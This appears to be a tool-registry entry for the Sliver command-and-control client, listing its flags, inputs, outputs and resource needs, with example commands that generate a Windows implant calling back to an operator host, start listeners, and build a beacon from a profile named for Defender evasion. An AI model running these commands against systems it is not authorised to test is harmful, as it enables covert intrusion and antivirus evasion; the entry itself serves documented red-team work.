Implant-based C2 framework for adversary simulation, red team operations, and post-exploitation.
sliver-client sliver-client Sandbox: execFile · Timeout: 600s
agent.communication implant.generation post.exploitation adversary.simulation | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
subcommand | string | Yes | - | Subcommand: client, server, operator, --help | |
flag-config | string | No | - | Config file path | --config |
lhost | string | No | - | Listener host/IP | --lhost |
lport | integer | No | - | Listener port | --lport |
flag-profile | string | No | - | Implant profile | --profile |
flag-save | string | No | - | Save output to file | --save |
flag-mtls | string | No | - | mTLS listener (host:port) | --mtls |
flag-http | string | No | - | HTTP listener (host:port) | --http |
flag-https | string | No | - | HTTPS listener (host:port) | --https |
flag-dns | string | No | - | DNS listener (host:port) | --dns |
flag-daemon | boolean | No | - | Daemonize server | --daemon |
flag-armory | boolean | No | - | Enable armory for community extensions | --armory |
d | boolean | No | - | Debug mode | -d, --debug |
help | boolean | No | - | Show this help message | --help |
named_pipe | boolean | No | - | Named pipe listener | --named-pipe |
tcp | boolean | No | - | TCP listener | --tcp |
v | boolean | No | - | Verbose output | -v, --verbose |
Inputs
network.target.ip Listener bind address
network.port.number Listener bind port
implant.config Implant configuration profile
Outputs
agent.session Active agent session
implant.binary Generated implant binary
network_trafficprocess_spawnfilesystem_write Produces
agent.sessionimplant.binaryConsumes
network.target.ipnetwork.port.numberimplant.config| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 128 MB |
| Network | high |
| Disk I/O | low |
Start Sliver server
sliver-server --daemon Start Sliver client
sliver-client Generate mTLS implant
generate --mtls 10.0.0.1:443 --os windows --arch amd64 --save implant.exe Start HTTP listener
sliver-client --http 0.0.0.0:80 Start HTTPS listener
sliver-client --https 0.0.0.0:443 Enable armory extensions
sliver-client --armory Generate with custom profile
generate --profile windows-defender-evasion --save beacon.exe Sliver is an open-source, implant-based C2 (Command and Control) framework designed for adversary simulation, red team operations, and post-exploitation. It supports multiple communication protocols including mTLS, HTTP, HTTPS, DNS, and named pipes.